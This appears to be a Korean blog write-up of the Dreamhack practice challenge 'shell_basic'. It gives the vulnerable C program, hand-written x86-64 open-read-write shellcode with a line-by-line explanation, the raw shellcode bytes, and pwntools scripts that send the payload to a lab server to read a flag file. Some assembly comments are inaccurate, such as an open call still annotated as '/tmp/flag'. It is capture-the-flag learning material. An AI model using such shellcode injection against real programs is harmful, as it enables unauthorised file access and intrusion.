shell_basic
Description 입력한 셸코드를 실행하는 프로그램이 서비스로 등록되어 작동하고 있습니다. main 함수가 아닌 다른 함수들은 execve, execveat 시스템 콜을 사용하지 못하도록 하며, 풀이와 관련이 없는
dreamhack.io
문제 설명
입력한 셸코드를 실행하는 프로그램이 서비스로 등록되어 작동하고 있다. main 함수가 아닌 다른 함수들은 execve, execveat 시스템 콜을 사용하지 못하도록 하며, 풀이와 관련이 없다. flag 파일의 위치와 이름은 /home/shell_basic/flag_name_is_loooooong이다.
제공된 shell_basic.c 파일의 내용은 다음과 같다.
// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(10);
}
void banned_execve() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_load(ctx);
}
void main(int argc, char *argv[]) {
char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
banned_execve();
printf("shellcode: ");
read(0, shellcode, 0x1000);
sc = (void *)shellcode;
sc();
}
문제 풀이
shell_basic.c 파일의 main 함수를 보면 mmap으로 메모리 영역을 할당하고, stdin(표준 입력, fd=0)에서 shellcode를 읽어와 실행하고 있다.

따라서, 플래그 파일을 읽어오는 shellcode를 작성하면 된다. shellcode는 플래그 파일을 열고, 내용을 읽어 출력해야 하므로 open, read, write system call을 사용한다.
# 1
write.asm을 다음과 같이 작성하였다.
section .text
global _start
_start:
push 0x0
mov rax, 0x676e6f6f6f6f6f6f
push rax
mov rax, 0x6c5f73695f656d61
push rax
mov rax, 0x6e5f67616c662f63
push rax
mov rax, 0x697361625f6c6c65
push rax
mov rax, 0x68732f656d6f682f
push rax
mov rdi, rsp # rdi = '/home/shell_basic/flag_name_is_loooooong'
xor rsi, rsi # rsi = 0 ; RD_ONLY
xor rdx, rdx # rdx = 0
mov rax, 2 # rax = 2 ; syscall_open
syscall # open('/tmp/flag', RD_ONLY, NULL)
mov rdi, rax # rdi = fd
mov rsi, rsp
sub rsi, 0x30 # rsi = rsp-0x30 ; buf
mov rdx, 0x30 # rdx = 0x30 ; len
mov rax, 0x0 # rax = 0 ; syscall_read
syscall # read(fd, buf, 0x30)
mov rdi, 1 # rdi = 1 ; fd = stdout
mov rax, 0x1 # rax = 1 ; syscall_write
syscall # write(fd, buf, 0x30)
xor rdi, rdi # rdi = 0
mov rax, 0x3c # rax = sys_exit
syscall # exit(1)
코드를 자세히 살펴보자.
(1) 경로 설정
"/home/shell_basic/flag_name_is_loooooong" 이라는 문자열을 메모리에 위치시키기 위해 스택에 리틀 엔디안 형식으로 push 해야 한다.
🔎 리틀 엔디안은 데이터를 메모리에 저장할 때 낮은 바이트를 먼저 저장하는 방식이다.
"/home/shell_basic/flag_name_is_loooooong" 문자열의 ASCII 값은 다음과 같다.
2F 68 6F 6D 65 2F 73 68 65 6C 6C 5F 62 61 73 69 63 2F 66 6C 61 67 5F 6E 61 6D 65 5F 69 73 5F 6C 6F 6F 6F 6F 6F 6F 6E 67
스택에는 8 바이트 단위로만 값을 push할 수 있으므로 8바이트씩 나누어 리틀 엔디안 방식으로 표현하면 다음과 같다.
676e6f6f6f6f6f6f 6c5f73695f656d61 6e5f67616c662f63 697361625f6c6c65 68732f656d6f682f
8바이트씩 rax에 저장하고 stack에 push하는 코드이다.
push 0x0
mov rax, 0x676e6f6f6f6f6f6f
push rax
mov rax, 0x6c5f73695f656d61
push rax
mov rax, 0x6e5f67616c662f63
push rax
mov rax, 0x697361625f6c6c65
push rax
mov rax, 0x68732f656d6f682f
push rax
(2) open 파일 열기
mov rdi, rsp # rdi = '/home/shell_basic/flag_name_is_loooooong'
xor rsi, rsi # rsi = 0 ; RD_ONLY
xor rdx, rdx # rdx = 0
mov rax, 2 # rax = 2 ; syscall_open
syscall # open('/tmp/flag', RD_ONLY, NULL)
- 파일 경로를 가리키는 rdi는 스택 포인터 rsp를 가리켜야 하므로, rsp를 rdi로 옮긴다.
- O_RDONLY(읽기 전용)는 0이므로 파일 열기 플래그 rsi를 0으로 설정한다.
💡 자기 자신과의 XOR 연산 결과는 항상 0이 된다.
- 파일을 읽을 때, mode는 의미를 갖지 않으므로 파일 생성 시의 모드를 나타내는 rdx는 0으로 설정한다.
- 시스템 호출 번호 rax는 open의 syscall 값인 2로 설정한다.
(3) read 파일 읽기
mov rdi, rax # rdi = fd
mov rsi, rsp
sub rsi, 0x30 # rsi = rsp-0x30 ; buf
mov rdx, 0x30 # rdx = 0x30 ; len
mov rax, 0x0 # rax = 0 ; syscall_read
syscall # read(fd, buf, 0x30)
- syscall의 반환 값, 즉 open으로 획득한 fd는 rax에 저장된다.
따라서, read의 첫 번째 인자 rdi에 rax를 대입한다. - rsi는 파일에서 읽은 데이터를 저장할 주소로, 0x30만큼 읽을 것이므로 rsp-0x30을 대입한다.
- rdx는 파일로부터 읽어낼 데이터의 길이이므로 0x30을 대입한다.
- read 시스템콜을 호출하기 위해 rax를 0으로 설정한다.
(4) write 파일 쓰기
mov rdi, 1 # rdi = 1 ; fd = stdout
mov rax, 0x1 # rax = 1 ; syscall_write
syscall # write(fd, buf, 0x30)
- 출력은 stdout으로 할 것이므로, rdi를 0x1로 설정한다.
- write 시스템콜을 호출하기 위해 rax를 1로 설정한다.
(5) 프로그램 종료
xor rdi, rdi # rdi = 0
mov rax, 0x3c # rax = sys_exit
syscall # exit(1)
문제에 제공된 코드를 이용해 write.asm 코드를 바이트 코드 write.bin으로 변환하고,
cat write.bin | ./shell_basic 으로 실행했지만 정상적으로 출력되지 않는다.

추출한 셸코드를 프로그램에 직접 입력해도 출력이 나타나지 않는다.

# 2
Python의 pwntools 라이브러리를 사용하여 드림핵 서버에 쉘코드를 전송하고 실행하는 코드를 작성한다.
# 라이브러리 import
from pwn import *
# x86-64 아키텍처를 대상으로 작성되었음을 지정
context.arch = "amd64"
# remote(host, port) : 원격 서버 연결
p = remote("host_.dreamhack.games", _____)
# 쉘 코드 정의
shellcode = b"\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\x48\xc7\xc2\x30\x00\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x05\x48\xc7\xc7\x01\x00\x00\x00\x48\xc7\xc0\x01\x00\x00\x00\x0f\x05\x48\x31\xff\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05"
# 쉘 코드 전송 및 실행 : 입력 프롬프트를 기다린 후, 작성된 쉘코드 전송 + 원격 서버에서 실행
p.sendlineafter('shellcode: ', shellcode)
# 결과 출력
print(p.recv())
python3 shell.py로 실행해보았지만, 플래그가 출력되지 않는다.

# 3
pwntools의 shellcraft 모듈을 이용한 코드로 수정한다.
shellcraft 모듈을 이용해 shellcode를 간단하게 작성할 수 있다.
from pwn import *
context.arch = "amd64"
p = remote("host_.dreamhack.games", _____)
# 플래그 파일 경로 설정
path = "/home/shell_basic/flag_name_is_loooooong"
# 쉘 코드 생성
shellcode = shellcraft.open(path) # 파일 열기
shellcode += shellcraft.read('rax', 'rsp', 0x30) # 파일 읽기 shellcrat.read(fd, buf, nbytes)
shellcode += shellcraft.write(1, 'rsp', 0x30) # 파일 쓰기 shellcraft.write(fd, buf, nbytes)
shellcode = asm(shellcode) # 쉘코드를 바이너리로 변환
payload = shellcode
p.sendlineafter('shellcode: ', payload)
print(p.recv())
실행하면 flag가 출력된다.

'Security > System Hacking' 카테고리의 다른 글
| [System Hacking] Dreamhack - Return to Shellcode 풀이 (0) | 2025.01.29 |
|---|---|
| [System Hacking] Dreamhack - basic_exploitation_001 풀이 (0) | 2025.01.23 |
| [System Hacking] Dreamhack - basic_exploitation_000 풀이 (0) | 2025.01.23 |
| [System Hacking] Dreamhack - Return Address Overwrite 풀이 (0) | 2025.01.22 |
| [System Hacking] Dreamhack - 1. Shellcode (0) | 2025.01.14 |